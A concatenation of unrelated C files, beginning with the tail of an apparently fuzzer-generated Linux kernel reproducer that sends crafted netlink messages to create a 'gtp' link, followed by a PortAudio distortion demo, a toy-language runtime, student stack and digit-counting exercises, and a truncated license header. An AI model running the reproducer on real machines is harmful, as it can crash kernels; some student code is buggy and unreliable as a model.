return 0;
}
if (n < sizeof(struct nlmsghdr))
exit(1);
if (reply_len && hdr->nlmsg_type == reply_type) {
*reply_len = n;
return 0;
}
if (n < sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))
exit(1);
if (hdr->nlmsg_type != NLMSG_ERROR)
exit(1);
return -((struct nlmsgerr*)(hdr + 1))->error;
}
static int netlink_send(struct nlmsg* nlmsg, int sock)
{
return netlink_send_ext(nlmsg, sock, 0, NULL);
}
static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset,
unsigned int total_len)
{
struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset);
if (offset == total_len || offset + hdr->nlmsg_len > total_len)
return -1;
return hdr->nlmsg_len;
}
static void netlink_device_change(struct nlmsg* nlmsg, int sock,
const char* name, bool up, const char* master,
const void* mac, int macsize,
const char* new_name)
{
struct ifinfomsg hdr;
memset(&hdr, 0, sizeof(hdr));
if (up)
hdr.ifi_flags = hdr.ifi_change = IFF_UP;
hdr.ifi_index = if_nametoindex(name);
netlink_init(nlmsg, RTM_NEWLINK, 0, &hdr, sizeof(hdr));
if (new_name)
netlink_attr(nlmsg, IFLA_IFNAME, new_name, strlen(new_name));
if (master) {
int ifindex = if_nametoindex(master);
netlink_attr(nlmsg, IFLA_MASTER, &ifindex, sizeof(ifindex));
}
if (macsize)
netlink_attr(nlmsg, IFLA_ADDRESS, mac, macsize);
int err = netlink_send(nlmsg, sock);
(void)err;
}
const int kInitNetNsFd = 239;
#define DEVLINK_FAMILY_NAME "devlink"
#define DEVLINK_CMD_PORT_GET 5
#define DEVLINK_CMD_RELOAD 37
#define DEVLINK_ATTR_BUS_NAME 1
#define DEVLINK_ATTR_DEV_NAME 2
#define DEVLINK_ATTR_NETDEV_NAME 7
#define DEVLINK_ATTR_NETNS_FD 138
static int netlink_devlink_id_get(struct nlmsg* nlmsg, int sock)
{
struct genlmsghdr genlhdr;
struct nlattr* attr;
int err, n;
uint16_t id = 0;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = CTRL_CMD_GETFAMILY;
netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, DEVLINK_FAMILY_NAME,
strlen(DEVLINK_FAMILY_NAME) + 1);
err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n);
if (err) {
return -1;
}
attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg->buf + n;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
id = *(uint16_t*)(attr + 1);
break;
}
}
if (!id) {
return -1;
}
recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); /* recv ack */
return id;
}
static void netlink_devlink_netns_move(const char* bus_name,
const char* dev_name, int netns_fd)
{
struct genlmsghdr genlhdr;
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_RELOAD;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_NETNS_FD, &netns_fd, sizeof(netns_fd));
err = netlink_send(&nlmsg, sock);
if (err) {
}
error:
close(sock);
}
static struct nlmsg nlmsg2;
static void initialize_devlink_ports(const char* bus_name, const char* dev_name,
const char* netdev_prefix)
{
struct genlmsghdr genlhdr;
int len, total_len, id, err, offset;
uint16_t netdev_index;
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_devlink_id_get(&nlmsg, sock);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len);
if (err) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
static void initialize_devlink_pci(void)
{
int netns = open("/proc/self/ns/net", O_RDONLY);
if (netns == -1)
exit(1);
int ret = setns(kInitNetNsFd, 0);
if (ret == -1)
exit(1);
netlink_devlink_netns_move("pci", "0000:00:10.0", netns);
ret = setns(netns, 0);
if (ret == -1)
exit(1);
close(netns);
initialize_devlink_ports("pci", "0000:00:10.0", "netpci");
}
static void kill_and_wait(int pid, int* status)
{
kill(-pid, SIGKILL);
kill(pid, SIGKILL);
int i;
for (i = 0; i < 100; i++) {
if (waitpid(-1, status, WNOHANG | __WALL) == pid)
return;
usleep(1000);
}
DIR* dir = opendir("/sys/fs/fuse/connections");
if (dir) {
for (;;) {
struct dirent* ent = readdir(dir);
if (!ent)
break;
if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
continue;
char abort[300];
snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
ent->d_name);
int fd = open(abort, O_WRONLY);
if (fd == -1) {
continue;
}
if (write(fd, abort, 1) < 0) {
}
close(fd);
}
closedir(dir);
} else {
}
while (waitpid(-1, status, __WALL) != pid) {
}
}
static void setup_test()
{
prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
setpgrp();
write_file("/proc/self/oom_score_adj", "1000");
}
struct thread_t {
int created, call;
event_t ready, done;
};
static struct thread_t threads[16];
static void execute_call(int call);
static int running;
static void* thr(void* arg)
{
struct thread_t* th = (struct thread_t*)arg;
for (;;) {
event_wait(&th->ready);
event_reset(&th->ready);
execute_call(th->call);
__atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
event_set(&th->done);
}
return 0;
}
static void execute_one(void)
{
int i, call, thread;
for (call = 0; call < 5; call++) {
for (thread = 0; thread < (int)(sizeof(threads) / sizeof(threads[0]));
thread++) {
struct thread_t* th = &threads[thread];
if (!th->created) {
th->created = 1;
event_init(&th->ready);
event_init(&th->done);
event_set(&th->done);
thread_start(thr, th);
}
if (!event_isset(&th->done))
continue;
event_reset(&th->done);
th->call = call;
__atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
event_set(&th->ready);
event_timedwait(&th->done, 45);
break;
}
}
for (i = 0; i < 100 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
sleep_ms(1);
}
static void execute_one(void);
#define WAIT_FLAGS __WALL
static void loop(void)
{
int iter;
for (iter = 0;; iter++) {
int pid = fork();
if (pid < 0)
exit(1);
if (pid == 0) {
setup_test();
execute_one();
exit(0);
}
int status = 0;
uint64_t start = current_time_ms();
for (;;) {
if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
break;
sleep_ms(1);
if (current_time_ms() - start < 5 * 1000)
continue;
kill_and_wait(pid, &status);
break;
}
}
}
uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff};
void execute_call(int call)
{
intptr_t res;
switch (call) {
case 0:
res = syscall(__NR_socket, 0x10ul, 3ul, 0ul);
if (res != -1)
r[0] = res;
break;
case 1:
res = syscall(__NR_socket, 0xaul, 3ul, 7);
if (res != -1)
r[1] = res;
break;
case 2:
*(uint16_t*)0x200000c0 = 0xa;
*(uint16_t*)0x200000c2 = htobe16(0);
*(uint32_t*)0x200000c4 = htobe32(0);
*(uint64_t*)0x200000c8 = htobe64(0);
*(uint64_t*)0x200000d0 = htobe64(1);
*(uint32_t*)0x200000d8 = 0;
syscall(__NR_connect, r[1], 0x200000c0ul, 0x1cul);
break;
case 3:
syscall(__NR_sendmmsg, r[1], 0x20000480ul, 0x2e9ul, 0ul);
break;
case 4:
*(uint64_t*)0x20000180 = 0;
*(uint32_t*)0x20000188 = 0;
*(uint64_t*)0x20000190 = 0x200000c0;
*(uint64_t*)0x200000c0 = 0x20000980;
*(uint32_t*)0x20000980 = 0xf8;
*(uint16_t*)0x20000984 = 0x10;
*(uint16_t*)0x20000986 = 0x42b;
*(uint32_t*)0x20000988 = 0;
*(uint32_t*)0x2000098c = 0;
*(uint8_t*)0x20000990 = 0;
*(uint8_t*)0x20000991 = 0;
*(uint16_t*)0x20000992 = 0;
*(uint32_t*)0x20000994 = 0;
*(uint32_t*)0x20000998 = 0;
*(uint32_t*)0x2000099c = 0;
*(uint16_t*)0x200009a0 = 0xd8;
*(uint16_t*)0x200009a2 = 0x12;
*(uint16_t*)0x200009a4 = 8;
*(uint16_t*)0x200009a6 = 1;
memcpy((void*)0x200009a8, "gtp\000", 4);
*(uint16_t*)0x200009ac = 0xcc;
*(uint16_t*)0x200009ae = 2;
*(uint16_t*)0x200009b0 = 8;
*(uint16_t*)0x200009b2 = 1;
*(uint32_t*)0x200009b4 = -1;
*(uint16_t*)0x200009b8 = 8;
*(uint16_t*)0x200009ba = 2;
*(uint32_t*)0x200009bc = -1;
*(uint16_t*)0x200009c0 = 8;
*(uint16_t*)0x200009c2 = 2;
*(uint32_t*)0x200009c4 = -1;
*(uint16_t*)0x200009c8 = 8;
*(uint16_t*)0x200009ca = 3;
*(uint32_t*)0x200009cc = 0;
*(uint16_t*)0x200009d0 = 8;
*(uint16_t*)0x200009d2 = 2;
*(uint32_t*)0x200009d4 = -1;
*(uint16_t*)0x200009d8 = 8;
*(uint16_t*)0x200009da = 3;
*(uint32_t*)0x200009dc = 7;
*(uint16_t*)0x200009e0 = 8;
*(uint16_t*)0x200009e2 = 3;
*(uint32_t*)0x200009e4 = 0x8001;
*(uint16_t*)0x200009e8 = 8;
*(uint16_t*)0x200009ea = 3;
*(uint32_t*)0x200009ec = 3;
*(uint16_t*)0x200009f0 = 8;
*(uint16_t*)0x200009f2 = 1;
*(uint32_t*)0x200009f4 = -1;
*(uint16_t*)0x200009f8 = 8;
*(uint16_t*)0x200009fa = 2;
*(uint32_t*)0x200009fc = -1;
*(uint16_t*)0x20000a00 = 8;
*(uint16_t*)0x20000a02 = 4;
*(uint32_t*)0x20000a04 = 0;
*(uint16_t*)0x20000a08 = 8;
*(uint16_t*)0x20000a0a = 2;
*(uint32_t*)0x20000a0c = -1;
*(uint16_t*)0x20000a10 = 8;
*(uint16_t*)0x20000a12 = 1;
*(uint32_t*)0x20000a14 = -1;
*(uint16_t*)0x20000a18 = 8;
*(uint16_t*)0x20000a1a = 2;
*(uint32_t*)0x20000a1c = -1;
*(uint16_t*)0x20000a20 = 8;
*(uint16_t*)0x20000a22 = 1;
*(uint32_t*)0x20000a24 = -1;
*(uint16_t*)0x20000a28 = 8;
*(uint16_t*)0x20000a2a = 1;
*(uint32_t*)0x20000a2c = -1;
*(uint16_t*)0x20000a30 = 8;
*(uint16_t*)0x20000a32 = 1;
*(uint32_t*)0x20000a34 = -1;
*(uint16_t*)0x20000a38 = 8;
*(uint16_t*)0x20000a3a = 1;
*(uint32_t*)0x20000a3c = -1;
*(uint16_t*)0x20000a40 = 8;
*(uint16_t*)0x20000a42 = 2;
*(uint32_t*)0x20000a44 = -1;
*(uint16_t*)0x20000a48 = 8;
*(uint16_t*)0x20000a4a = 4;
*(uint32_t*)0x20000a4c = 1;
*(uint16_t*)0x20000a50 = 8;
*(uint16_t*)0x20000a52 = 3;
*(uint32_t*)0x20000a54 = 0x20;
*(uint16_t*)0x20000a58 = 8;
*(uint16_t*)0x20000a5a = 4;
*(uint32_t*)0x20000a5c = 2;
*(uint16_t*)0x20000a60 = 8;
*(uint16_t*)0x20000a62 = 1;
*(uint32_t*)0x20000a64 = -1;
*(uint16_t*)0x20000a68 = 8;
*(uint16_t*)0x20000a6a = 3;
*(uint32_t*)0x20000a6c = 0xeec;
*(uint16_t*)0x20000a70 = 8;
*(uint16_t*)0x20000a72 = 2;
*(uint32_t*)0x20000a74 = r[1];
*(uint64_t*)0x200000c8 = 0xf8;
*(uint64_t*)0x20000198 = 1;
*(uint64_t*)0x200001a0 = 0;
*(uint64_t*)0x200001a8 = 0;
*(uint32_t*)0x200001b0 = 0;
syscall(__NR_sendmsg, r[0], 0x20000180ul, 0ul);
break;
}
}
int main(void)
{
syscall(__NR_mmap, 0x20000000ul, 0x1000000ul, 3ul, 0x32ul, -1, 0);
loop();
return 0;
}
|
the_stack_data/208792.c
|
#include<stdio.h>
#include<math.h>
int power(int b, int p){
int k;
int result = 1;
for(k = 0; k < p; k++){
result *= b;
}
return result;
}
int main(int argc, char *argv[]){
int num;
int frac = 1;
int digit = 1;
printf("Enter a number: ");
scanf("%d", &num);
while(1){
frac = num/power(10,digit);
if(frac == 0) break;
digit += 1;
}
printf("the digit is: %d\n\n", digit);
int j;
int n1 = 0;
for(j = 0; j< digit; j++){
int base = power(10, j + 1);
printf("The base is: %d\n", base);
int fra = num/base;
printf("The fra is: %d\n", fra);
int mod = fmod( num, base);
printf("The mod is: %d\n", mod);
int quan = power(10,j);
printf("The quan is: %d\n", quan);
n1 += fra * quan;
if(mod > 2 * quan - 1){
n1 += quan;
printf("A\n");
}
if( quan - 1 < mod < 2 * quan){
n1 += mod - quan + 1;
printf("B\n");
}
printf("The n1 is: %d\n\n",n1);
}
printf("The number of ones is: %d\n", n1);
getchar();
getchar();
return 0;
}
|
the_stack_data/151705989.c
|
/** @file pa_fuzz.c
@ingroup test_src
@brief Distort input like a fuzz box.
@author Phil Burk http://www.softsynth.com
*/
/*
* $Id: pa_fuzz.c,v 1.8 2008-12-31 15:38:36 richardash1981 Exp $
*
* This program uses the PortAudio Portable Audio Library.
* For more information see: http://www.portaudio.com
* Copyright (c) 1999-2000 Ross Bencina and Phil Burk
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files
* (the "Software"), to deal in the Software without restriction,
* including without limitation the rights to use, copy, modify, merge,
* publish, distribute, sublicense, and/or sell copies of the Software,
* and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR
* ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF
* CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/*
* The text above constitutes the entire PortAudio license; however,
* the PortAudio community also makes the following non-binding requests:
*
* Any person wishing to distribute modifications to the Software is
* requested to send the modifications to the original developer so that
* they can be incorporated into the canonical version. It is also
* requested that these non-binding requests be included along with the
* license above.
*/
#include <stdio.h>
#include <math.h>
#include "portaudio.h"
/*
** Note that many of the older ISA sound cards on PCs do NOT support
** full duplex audio (simultaneous record and playback).
** And some only support full duplex at lower sample rates.
*/
#define SAMPLE_RATE (44100)
#define PA_SAMPLE_TYPE paFloat32
#define FRAMES_PER_BUFFER (64)
typedef float SAMPLE;
float CubicAmplifier( float input );
static int fuzzCallback( const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo* timeInfo,
PaStreamCallbackFlags statusFlags,
void *userData );
/* Non-linear amplifier with soft distortion curve. */
float CubicAmplifier( float input )
{
float output, temp;
if( input < 0.0 )
{
temp = input + 1.0f;
output = (temp * temp * temp) - 1.0f;
}
else
{
temp = input - 1.0f;
output = (temp * temp * temp) + 1.0f;
}
return output;
}
#define FUZZ(x) CubicAmplifier(CubicAmplifier(CubicAmplifier(CubicAmplifier(x))))
static int gNumNoInputs = 0;
/* This routine will be called by the PortAudio engine when audio is needed.
** It may be called at interrupt level on some machines so don't do anything
** that could mess up the system like calling malloc() or free().
*/
static int fuzzCallback( const void *inputBuffer, void *outputBuffer,
unsigned long framesPerBuffer,
const PaStreamCallbackTimeInfo* timeInfo,
PaStreamCallbackFlags statusFlags,
void *userData )
{
SAMPLE *out = (SAMPLE*)outputBuffer;
const SAMPLE *in = (const SAMPLE*)inputBuffer;
unsigned int i;
(void) timeInfo; /* Prevent unused variable warnings. */
(void) statusFlags;
(void) userData;
if( inputBuffer == NULL )
{
for( i=0; i<framesPerBuffer; i++ )
{
*out++ = 0; /* left - silent */
*out++ = 0; /* right - silent */
}
gNumNoInputs += 1;
}
else
{
for( i=0; i<framesPerBuffer; i++ )
{
*out++ = FUZZ(*in++); /* left - distorted */
*out++ = *in++; /* right - clean */
}
}
return paContinue;
}
/*******************************************************************/
int main(void);
int main(void)
{
PaStreamParameters inputParameters, outputParameters;
PaStream *stream;
PaError err;
err = Pa_Initialize();
if( err != paNoError ) goto error;
inputParameters.device = Pa_GetDefaultInputDevice(); /* default input device */
if (inputParameters.device == paNoDevice) {
fprintf(stderr,"Error: No default input device.\n");
goto error;
}
inputParameters.channelCount = 2; /* stereo input */
inputParameters.sampleFormat = PA_SAMPLE_TYPE;
inputParameters.suggestedLatency = Pa_GetDeviceInfo( inputParameters.device )->defaultLowInputLatency;
inputParameters.hostApiSpecificStreamInfo = NULL;
outputParameters.device = Pa_GetDefaultOutputDevice(); /* default output device */
if (outputParameters.device == paNoDevice) {
fprintf(stderr,"Error: No default output device.\n");
goto error;
}
outputParameters.channelCount = 2; /* stereo output */
outputParameters.sampleFormat = PA_SAMPLE_TYPE;
outputParameters.suggestedLatency = Pa_GetDeviceInfo( outputParameters.device )->defaultLowOutputLatency;
outputParameters.hostApiSpecificStreamInfo = NULL;
err = Pa_OpenStream(
&stream,
&inputParameters,
&outputParameters,
SAMPLE_RATE,
FRAMES_PER_BUFFER,
0, /* paClipOff, */ /* we won't output out of range samples so don't bother clipping them */
fuzzCallback,
NULL );
if( err != paNoError ) goto error;
err = Pa_StartStream( stream );
if( err != paNoError ) goto error;
printf("Hit ENTER to stop program.\n");
getchar();
err = Pa_CloseStream( stream );
if( err != paNoError ) goto error;
printf("Finished. gNumNoInputs = %d\n", gNumNoInputs );
Pa_Terminate();
return 0;
error:
Pa_Terminate();
fprintf( stderr, "An error occured while using the portaudio stream\n" );
fprintf( stderr, "Error number: %d\n", err );
fprintf( stderr, "Error message: %s\n", Pa_GetErrorText( err ) );
return -1;
}
|
the_stack_data/190767823.c
|
#include <ctype.h>
#include <limits.h>
#include <stdarg.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef int32_t i32;
#define add(a, b) ((a) + (b))
#define sub(a, b) ((a) - (b))
#define mul(a, b) ((a) * (b))
#define div(a, b) ((a) / (b))
#define mod(a, b) ((a) % (b))
#define lt(a, b) ((a) < (b))
#define gt(a, b) ((a) > (b))
#define lte(a, b) ((a) <= (b))
#define gte(a, b) ((a) >= (b))
#define eq(a, b) ((a) == (b))
#define neq(a, b) ((a) != (b))
#define init_0(v) memset(v, 0, sizeof(*v))
void rt_error(const char *fmt, ...) {
va_list args;
va_start(args, fmt);
fprintf(stderr, "Runtime error: ");
vfprintf(stderr, fmt, args);
fprintf(stderr, ".\n");
exit(1);
va_end(args);
}
void rt_syserr(const char *msg) {
fprintf(stderr, "Runtime error: ");
perror(msg);
fprintf(stderr, ".\n");
exit(1);
}
#define define_array(T, array_T) \
typedef struct s_ ## array_T { \
T *data; \
size_t len; \
size_t capacity; \
} array_T; \
\
void init_with_cap_ ## array_T(array_T *v, size_t cap) { \
v->data = (T *) malloc(cap * sizeof(T)); \
v->capacity = cap; \
v->len = 0; \
} \
\
void init_ ## array_T(array_T *v) { \
init_with_cap_ ## array_T(v, 8); \
} \
\
void push_ ## array_T(array_T *v, T x) { \
if (v->len == v->capacity) { \
v->data = (T *) realloc(v->data, v->capacity * 2); \
if (v->data == NULL) { \
rt_syserr("Could not increase array size"); \
} \
\
v->capacity *= 2; \
} \
\
v->data[v->len] = x; \
++(v->len); \
} \
\
T pop_ ## array_T(array_T *v) { \
if (v->len == 0) { \
rt_error("cannot pop() from empty array"); \
} \
\
--(v->len); \
return v->data[v->len]; \
} \
\
int32_t len_ ## array_T(array_T v) { \
return v.len; \
} \
\
T *index_ ## array_T(array_T v, int32_t index) { \
if (index < 0 || v.len <= (size_t) index) { \
rt_error( \
"array index %d out of bounds: size is %d", \
index, \
(int32_t) v.len); \
} \
\
return &v.data[index]; \
}
define_array(char, str)
str str_from_static(const char *s) {
size_t len = strlen(s);
str result;
result.data = (char *) malloc(len);
result.len = result.capacity = len;
memcpy(result.data, s, len);
return result;
}
#define assert_array_from_copy_size_ok(s) \
if (s < 0) rt_error("attempted to create array with non-positive size %d", s)
void co_assert(char cond) {
if (!cond) {
rt_error("assertion failed");
}
}
i32 ascii_code(char c) {
return (i32) c;
}
char ascii_char(i32 code) {
if (code < 0 || 0xFF < code) {
rt_error("%d is not a valid ASCII code", code);
}
return (char) code;
}
str int_to_string(i32 x) {
if (x == INT_MIN) {
return str_from_static("-2147483648");
}
if (x == 0) {
return str_from_static("0");
}
str s;
init_with_cap_str(&s, 11);
char neg = 0;
if (x < 0) {
neg = 1;
x = -x;
}
while (x) {
push_str(&s, '0' + (x % 10));
x /= 10;
}
if (neg) {
push_str(&s, '-');
}
for (size_t l = 0, r = s.len - 1; l < r; ++l, --r) {
char t = s.data[l];
s.data[l] = s.data[r];
s.data[r] = t;
}
return s;
}
str str_add(str a, str b) {
str result;
init_with_cap_str(&result, a.len + b.len);
memcpy(result.data, a.data, a.len);
memcpy(result.data + a.len, b.data, b.len);
result.len = a.len + b.len;
return result;
}
char *str_index(str s, i32 i) {
return &s.data[i];
}
char str_eq(str a, str b) {
return a.len == b.len && memcmp(a.data, b.data, a.len) == 0;
}
char str_neq(str a, str b) {
return !str_eq(a, b);
}
// Reads the next line from stdin, storing it in newly allocated *buf.
//
// Line length is returned from function. Newline character is not included.
size_t raw_readln(char **buf) {
static const char MARK = -1;
size_t buf_size = 16;
*buf = (char *) malloc(buf_size);
char *next = *buf;
for (;;) {
(*buf)[buf_size - 1] = MARK;
if (fgets(next, buf_size - (next - *buf), stdin) == NULL) {
rt_syserr("could not read line from standard input");
}
if (feof(stdin) || (*buf)[buf_size - 1] == MARK) {
break;
}
*buf = (char *) realloc(*buf, buf_size * 2);
if (*buf == NULL) {
rt_syserr("could not store line read from standard input");
}
next = *buf + (buf_size - 1);
buf_size *= 2;
}
size_t len = (next - *buf) + strlen(next);
if ((*buf)[len - 1] == '\n') {
(*buf)[len - 1] = '\0';
--len;
}
return len;
}
// Buffered words from the line currently being read by word.
typedef struct {
char *line;
size_t line_len;
size_t next;
} read_word_ctx_t;
static read_word_ctx_t rwctx = { NULL, 0, 0 };
void raw_readword(char **out_buf, size_t *out_len) {
for (;;) {
if (rwctx.line != NULL && rwctx.next < rwctx.line_len) {
while (isspace(rwctx.line[rwctx.next])) ++rwctx.next;
}
if (rwctx.line == NULL || rwctx.next == rwctx.line_len) {
rwctx.line_len = raw_readln(&rwctx.line);
rwctx.next = 0;
continue;
}
break;
}
size_t end = rwctx.next;
while (end < rwctx.line_len && !isspace(rwctx.line[end])) ++end;
*out_buf = rwctx.line + rwctx.next;
*out_len = end - rwctx.next;
rwctx.next = end;
}
void readln(str *target) {
rwctx.line = NULL;
char *buf = NULL;
size_t len = 0;
while (!len) {
free(buf);
len = raw_readln(&buf);
}
target->data = buf;
target->len = target->capacity = len;
}
void readword_str(str *target) {
char *buf;
size_t len;
raw_readword(&buf, &len);
target->data = buf;
target->len = target->capacity = len;
}
void readword_int(i32 *target) {
char *buf;
size_t len;
raw_readword(&buf, &len);
char neg = 0;
if (*buf == '-') {
++buf;
--len;
neg = 1;
}
*target = 0;
while (len) {
*target *= 10;
*target -= *buf - '0';
++buf;
--len;
}
if (!neg) {
*target = -*target;
}
}
void write_str(str s) {
if (!s.len) {
return;
}
char last_char = s.data[s.len - 1];
s.data[s.len - 1] = '\0';
if (fputs(s.data, stdout) < 0) {
rt_syserr("could not write to standard output");
}
s.data[s.len - 1] = last_char;
if (fputc(last_char, stdout) < 0) {
rt_syserr("could not write to standard output");
}
}
|
the_stack_data/237644140.c
|
#include <stdio.h>
#include <stdlib.h>
typedef struct Node{
int value;
struct Node * next;
} Node;
typedef struct Stack{
Node * top;
} Stack;
Stack * create(){
Stack * q = (Stack*) malloc(sizeof(Stack));
q->top = NULL;
return q;
}
void push(Stack * s, int value){
Node * new = (Node*) malloc(sizeof(Node));
new->value = value;
new->next = s->top;
s->top = new;
}
int isEmptyStack(Stack * s){
return(s->top == NULL);
}
void display(Stack * s){
Node * p = s->top;
if(isEmptyStack(s)){
printf("A pilha está vazia!\n");
}
else{
while(p != NULL){
printf("%d\n", p->value);
p = p->next;
}
}
}
Node * search(Stack * s, int value){
Node * p;
for(p=s->top; p!=NULL; p=p->next){
if(p->value == value)
return p;
}
return NULL;
}
void freeStack(Stack * s){
Node * p = s->top;
while(p != NULL){
Node * t = p->next;
free(p);
p = t;
}
free(p);
}
int pop(Stack * s){
Node * t;
int v;
if(isEmptyStack(s)){
printf("\nPilha já vazia!\n");
return 0;
}
t = s->top;
v = t->value;
s->top = t->next;
free(t);
return v;
}
// Verifica se a pilha esta ordenada
int isOrderStack(Stack* head) {
Node* p;
p = head->top;
if(isEmptyStack(head)){
printf("Esta pilha está vazia!\n");
}
else{
while(p->next != NULL){
if(p->value > p->next->value) return 0;
p = p->next;
}
}
return 1;
}
// Inverte a pilha
Stack* stackReverse(Stack* s) {
Stack *s2;
s2 = create();
while( !isEmptyStack(s)) push(s2, pop(s));
return s2;
}
// Conta a quantidade de numeros primos na pilha
int countPrimo(Stack* s) {
Node* p;
int contPrimo = 0;
int isPrimo = 0;
int i;
p = s->top;
if(isEmptyStack(s)) return 0;
else {
while(p->next != NULL){
for(i = 2; i < p->value; i++)
if(p->value % i == 0) isPrimo++;
if(isPrimo != 0) p = p->next;
else {
contPrimo++;
p = p->next;
}
isPrimo = 0;
}
}
return contPrimo;
}
// Compara se as pilhas são iguais
int isEqualStack(Stack* s1, Stack* s2)
{
if(isEmptyStack(s1) && isEmptyStack(s2)) return 0;
Node* p1 = s1->top;
Node* p2 = s2->top;
while(p1 != NULL || p2 != NULL) {
if(p1->value != p2->value) return 0;
p1 = p1->next;
p2 = p2->next;
}
return 1;
}
int main(){
Stack * s;
Stack * s2;
Stack * invert;
s = create();
s2 = create();
invert = create();
Node * searched = NULL;
printf("A pilha está vazia (0,1) : %d\n", isEmptyStack(s));
display(s);
push(s, 50);
push(s, 7);
push(s, 5);
push(s2, 7);
push(s2, 60);
printf("A pilha está vazia (0,1) : %d\n", isEmptyStack(s));
display(s);
// Exercicio 1
printf("A pilha esta ordenada : %d\n", isOrderStack(s));
// Exercicio 2
invert = stackReverse(s);
printf("Invertendo Pilhas \n");
display(invert);
// Exercicio 3
printf("A quantidade de primos na pilha e : %d\n", countPrimo(invert));
// Exercicio 4
printf("As pilhas sao iguais: %d\n",isEqualStack(invert,s2));
printf("Buscando elemento:\n");
searched = search(invert, 10);
if(searched != NULL){
printf("Encontrou o elemento: %d\n", searched->value);
}
display(invert);
printf("Removendo elemento: %d\n", pop(invert));
printf("Liberando a pilha.\n");
freeStack(invert);
return 0;
}
|
the_stack_data/175144147.c
|
#include <stdio.h>
#include <time.h>
int main (void)
{
time_t t0;
t0 = time (NULL);
printf ("%s", asctime(localtime(&t0)));
return 0;
}
|
the_stack_data/198580352.c
|
/*******************************************************************************
* Copyright (C) 2013-2017 A. C. Open Hardware Ideas Lab
*
* Authors:
* Marco Giammarini <[email protected]>
* Niccolo' Paolinelli <[email protected]>
* Nicola Orlandini <[email protected]>
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
